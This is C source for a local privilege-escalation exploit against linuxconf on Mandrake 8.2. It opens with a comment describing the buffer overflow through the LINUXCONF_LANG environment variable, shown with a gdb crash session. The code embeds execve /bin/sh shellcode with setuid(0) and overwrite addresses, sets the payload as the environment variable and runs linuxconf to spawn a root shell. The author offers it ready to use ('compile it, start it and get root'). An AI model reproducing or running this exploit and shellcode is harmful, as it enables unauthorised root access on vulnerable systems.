This is an easy to use linuxconf exploit for
Mandrake 8.2 compile it, start it and get root :-)

by priest

#if 0

Mandrake 8.2 linuxconf local root (easy to use)
exploit by --priest--
I know, it is a very very ugly
exploit, but it works very good
on Mandrake 8.2.

Usage: gcc lconfmdk.c -o x ; ./x

Little exploit description:

Test SEGV with:
[hack@tux src]$ export LINUXCONF_LANG=`perl -e "print 'A'x10000"`
[hack@tux src]$ linuxconf
Speicherzugriffsfehler  // Sefault in german :-)
[hack@tux linuxconf]$ gdb linuxconf
GNU gdb 5.1.1
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There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-mandrake-linux"...(no debugging symbols found)...
(gdb) run
Starting program: /bin/linuxconf
(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...
(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...
(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...
(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...
(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...
Program received signal SIGSEGV, Segmentation fault.
0x401e6bd0 in strcmp () from /lib/libc.so.6

(gdb) info register $esi
esi            0x41414141       1094795585

esi is our buffer. esi must be a pointer to a string.

We need a string for the strcmp function. 0x811dc53 is a nice string.

(gdb) x/s 0x811dc53
0x811dc53 <subsys_userpriv+7321>:        "linuxconf"

After this it is possible to overwrite the eip and i can jump to the shellcode into my stack.
Before that, we must creat the directory linuxconf.eng and the file linuxconf.eng into this
directory. I use G for the NOP instruction instead of 0x90 its an alternative way. See
alphanumeric shellcode in phrack magazine. I never see the code of linuxconfig. Why read
the source if we have gdb, assembler and a SEGV ;-)

My english is very bad. I am from Austria

#endif
#include <stdlib.h>
#include <stdio.h>

// This buffer is the only thing you need
char buf[] = "GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG\x29\xc0\xb0\x17\x31\xdb\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80GGGGGGGGGGGGGGGGGGGGGGGGGGLINUXCONF EXPLOIT BY PRIESTGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGI LIKE IT TO WRITE THIS SHIT INTO THE BUFFERGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGTHERE IS ENOUGH SPACE FOR THIS STUFFGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG\x53\xdc\x11\x01\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x02\x53\xdc\x11\x03\x53\xdc\x11\x04\x50\xe0\xff\xbf\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11uGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG\0"; 

main()
{
  // Very bad, but easy to make style
  setenv("LINUXCONF_LANG", buf, 1);
  system("mkdir /tmp/linuxconf.eng");
  system("touch /tmp/linuxconf.eng/linuxconf.eng");
  system("/bin/sh -c linuxconf");
  system("rm /tmp/linuxconf.eng/linuxconf.eng");
  system("rmdir /tmp/linuxconf.eng");
}